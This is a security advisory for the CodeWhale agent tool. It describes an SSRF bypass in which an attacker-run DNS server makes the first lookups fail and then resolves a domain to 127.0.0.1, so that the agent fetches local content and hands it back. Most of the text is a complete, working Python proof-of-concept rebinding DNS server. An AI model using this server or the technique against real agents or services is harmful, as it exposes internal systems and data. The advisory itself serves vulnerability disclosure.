CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Summary

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Details

Simplified attack scenario:

1. Attacker asks agent to visit the mydomain.com.
2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check).
3. CodeWhale allows the code to continue as it expects it request to fail again.
4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

PoC

This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dns_resolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None


def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
    """Rewrite a CNAME transparently (resolve alias locally)."""
    rewrites: dict[str, str] = {
        # "old.internal.": "new.internal.",
    }
    qname = str(query.q.qname)
    if qname in rewrites:
        target = rewrites[qname]
        print(f"  [REWRITE] {qname} → {target}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
        return reply
    return None


def handle_upstream(query: DNSRecord) -> DNSRecord | None:
    """Forward the query to the upstream resolver."""
    try:
        raw = query.pack()
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(3)
        sock.sendto(raw, UPSTREAM_DNS)
        data, _ = sock.recvfrom(4096)
        sock.close()
        reply = DNSRecord.parse(data)
        print(f"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
        return reply
    except Exception as e:
        print(f"  [UPSTREAM ERROR] {e}")
        return None


# Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
    handle_blocked,
    handle_overrides,
    handle_rewrite,
    handle_upstream,
]


# ─────────────────────────────────────────────────────────────────────────────
#  Server plumbing — no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────

def resolve(data: bytes) -> bytes:
    try:
        query = DNSRecord.parse(data)
        qname = str(query.q.qname)
        qtype = QTYPE[query.q.qtype]
        print(f"[QUERY] {qtype} {qname}")

        for handler in HANDLERS:
            reply = handler(query)
            if reply is not None:
                return reply.pack()

        # Fallback: SERVFAIL
        reply = query.reply()
        reply.header.rcode = 2
        return reply.pack()

    except Exception as e:
        print(f"[ERROR] Failed to parse/handle query: {e}")
        return b""


def udp_server(host: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    print(f"DNS resolver listening on {host}:{port} (UDP)")
    while True:
        data, addr = sock.recvfrom(4096)
        threading.Thread(
            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
            daemon=True,
        ).start()


def tcp_server(host: str, port: int) -> None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((host, port))
    srv.listen(10)
    print(f"DNS resolver listening on {host}:{port} (TCP)")

    def handle_conn(conn: socket.socket) -> None:
        with conn:
            length_bytes = conn.recv(2)
            if len(length_bytes) < 2:
                return
            length = int.from_bytes(length_bytes, "big")
            data = conn.recv(length)
            response = resolve(data)
            conn.sendall(len(response).to_bytes(2, "big") + response)

    while True:
        conn, _ = srv.accept()
        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()


def main() -> None:
    parser = argparse.ArgumentParser(description="Local DNS resolver")
    parser.add_argument("--host", default="0.0.0.0", help="Bind address")
    parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
    args = parser.parse_args()

    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
    t_udp.start()
    t_tcp.start()

    try:
        t_udp.join()
    except KeyboardInterrupt:
        print("\nShutting down.")


if __name__ == "__main__":
    main()